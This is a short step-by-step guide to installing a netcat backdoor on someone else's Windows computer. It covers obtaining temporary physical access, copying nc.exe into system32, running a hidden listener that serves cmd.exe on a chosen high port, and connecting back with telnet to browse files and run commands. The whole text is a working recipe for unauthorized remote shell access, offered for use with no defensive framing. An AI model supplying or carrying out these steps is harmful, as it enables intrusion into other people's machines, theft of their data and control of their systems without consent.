things you'll need
1. internet access

2. temporary access to target computer

3.ip address of the target computer

download netcat for windows, a port of the popular unix program that allows you to read and write information across tcp protocols. this program is free and open-source, so you don't have to pay anyone to use it and you can examine the source code for the program if you wish to do so.

unzip the program using the windows unzip utility to any folder you wish. unzipping it to the desktop into a folder called "netcat" will be easy to remember.

take the "nc.exe" program and copy it onto the target computer that you want to install a back door to. make sure to put the nc.exe program into the "c:\windows\system32" directory on the target machine.

open a command prompt by choosing the "start" button, clicking "run" then typing "cmd" and hitting the "enter" key. use the "cd" command to navigate to the folder where you placed the nc.exe program. the command to do this would be the following: "cd c:\windows\system32."

type the following into the command prompt: "nc -d -l -e cmd.exe -p xxx," where "xxx" is the port number you wish to connect through. choose something high, such as port 10000 or higher.

on your machine, open a command prompt and type the following command: "telnet x.x.x.x xxx," where "x.x.x.x" is the ip address of the target computer and "xxx" is the port of the target computer that you opened earlier. this command opens a data link between the two computers, through which you can explore files, run commands and perform other actions.